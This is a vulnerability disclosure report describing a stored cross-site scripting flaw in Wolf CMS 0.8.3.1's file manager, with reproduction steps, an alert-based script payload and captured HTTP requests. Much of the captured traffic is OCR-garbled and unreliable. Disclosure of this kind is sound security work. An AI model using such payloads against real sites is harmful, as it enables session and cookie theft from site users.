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Hello,

I would like to report a vulnerability that I discovered in Wolf CMS (wolf
cms-0.8.3.1), which can be exploited to perform Cross-Site Scripting (XSS)
attacks. The vulnerability exists due to insufficient sanitization in the
"create-file-popup" and "create-directory-popup" both parameters uses HTTP
POST method passed to "/plugin/file manager/" script.The exploitation example
below uses the "alert ()" JavaScript function to display "Provensec" word.

Cross-Site Scripting (XSS) attacks are a type of injection, in which
malicious scripts are injected into otherwise benign and trusted web sites.
XSS attacks occur when an attacker uses a web application to send malicious
code, generally in the form of a browser side script, to a different end
user. Flaws that allow these attacks to succeed are quite widespread and
occur anywhere a web application uses input from a user within the output it
generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user.
The end user's browser has no way to know that the script should not be
trusted, and will execute the script. Because it thinks the script came from
a trusted source; the malicious script can access any cookies, session
tokens, or other sensitive information retained by the browser and used with
that site. These scripts can even rewrite the content of the HTML page.

Vulnerability Type:
Cross Site Scripting (XSS)

Vendor of Product:
WolfCMS

Affected Product Code Base:
WolfCMS (https://www.wolfcms.org/) - wolfcms-0.8.3.1

Affected Component:

http://localhost/wolfcms-—
0.8.3.1/wolfcms/?/admin/plugin/file manager/browse//#create-file-popup ,

http://localhost/wolfcms—
0.8.3.1/wolfcms/?/admin/plugin/file manager/browse//#create-directory-popup



http://localhost/wolfcms-0.8.3.1/wolfcms/?/admin/plugin/file_manager/browse//#create-file-popup
http://localhost/wolfcms-0.8.3.1/wolfcms/?/admin/plugin/file_manager/browse//#create-file-popup
http://localhost/wolfcms-0.8.3.1/wolfcms/?/admin/plugin/file_manager/browse//#create-directory-popup
http://localhost/wolfcms-0.8.3.1/wolfcms/?/admin/plugin/file_manager/browse//#create-directory-popup

Attack Type:
Remote

Attack Vectors:

Steps:

1.Login to Wolf CMS.

2.0pen the URL "http://localhost/wolfcms-
0.8.3.1/wolfcms/?/admin/plugin/file manager/browse//#create-file-popup" or
"http://localhost/wolfcms—

0.8.3.1/wolfcms/?/admin/plugin/file manager/browse//#create-directory-popup".
3.Create a new file or new directory.

4.In name parameter, insert payload in it. Here, payload I used
"<script>alert (/Provensec/)</script>".

5.Click on create button.

6.XSS gets executed on "http://localhost/wolfcms-
0.8.3.1/wolfcms/?/admin/plugin/file manager/browse/" page.

POC are:
N Files | Wolf CMS X L+
O] localhost/fwolfems-0.8.3.1/wolfcms,/? /admin/plugin/file_manager/browse/ c Q Search ﬁ B ¥+ # @ # =

Create new file e

\<script>alert(/Provensed |Create|

Fig 1.1



POST fwolfems-0.8.3. 1L /wolfoens/? fadnin/plugin/file manager/create file HTTP/1.1

Host: localhost

Uzser-Agent: Mozilla/s5.0 (Windows NT 10.0; WOWE4; rvw:55.0) Gecko/sZ01l00101 Firefox/s55.0
Accept: text/html, application/xhtml+txml, application/ml;gq=0_9,%/*;qg=0.8
Accept-Language: en-US, en;qg=0.5

Aocept-Encoding: gzip, deflate

Leferer: http://localhost/wolfoens-0.8.2. 1/wolfens,/?/fadnin/plugin/file manager /hrowse//
Content-Type: application/xz-www-form—urlencoded

Content-Length: 177

Cookie: PHPSESSID=03clvktofmktgblvhbitmdektsd

Connection: close

Tpgrade-Insecure—FRegquests: 1

csrf token=hoEhT7dllEEdedéelE2E0bhELlabET0ke3eec073123£02518007T7ac8751dac8 7548 filet EBpath¥ ED=%2F&
filefbBnamefilF $3Cscript i 3Ealert 28 2FProvensec3 2FE 203 305 2Fsoript$ 2E icommit=Creat e

Fig 1.2

Request Response
J Raw T Params I Headers | Hex | AMF Deserialized ] J Raw T Headers | Hex | AMF Deserialized ]
POST " HTTF/1.1 202 Found
dwolfems-0.8_ 3. 1l/wolfens/?/adnin/plugin/file manager/create P Date: Mon, Z1 Aug 2017 13:3&6:50 GMT
_file HTTP/1.1 Server: ApachesIZ.4.25 (Winzl) JpenZSL/Ll.0.Z23
Host: localhost PHP/5.E6.320
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:55.0) H-Powered-By: PHP/L5_E.30
Gecko/Z0100101 Firefox/EE.0 Expires: Thu, 1% MNov 1581 08:E5I:00 GHT
Accept: Cache-Control: no-store, no-cache,
text/html , application/xhtml+xml, application/xml;gq=0_5, */*;q must-revalidate, post-check=0, pre-check=0
=0.8 Fragma: no-cache
Accept-Language: en-US,en;qg=0.5 Location:
Apcept-Encoding: gzip, deflate http: //localhost/wolfens—0_8.3. 1/wolfems/? fadnin/pl
Referer: ugin/file manager/browse//
http: //localhost/fwolfons-0.8. 3. 1/wolfons,/? fadnin/plugin/file Content-Length: 0O
_manager/browse//f Comnection: close
Content-Type: application/xz-www-form-—urlencoded Content-Type: text/html; charset=UTF-8

Content-Length: 177

Cookie: PHPIEESID=0Zolvktofmktgblvhitmdelktéd
Connection: close

Upgrade-Insecure—ERequests: 1

csrf token=hoch7dllscdedsel5250kbElatbeT70ke3eec073122£025180k
TTacE751ldac575945fileS5Bpath SD=%_Fifile%SBname}SD=%3Cscript
23Ealert} 8% 2FProvensect 2FE 29 308 CFscript32Eicommit=Create

Fig 1.3
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Transferring data from lecalhost...
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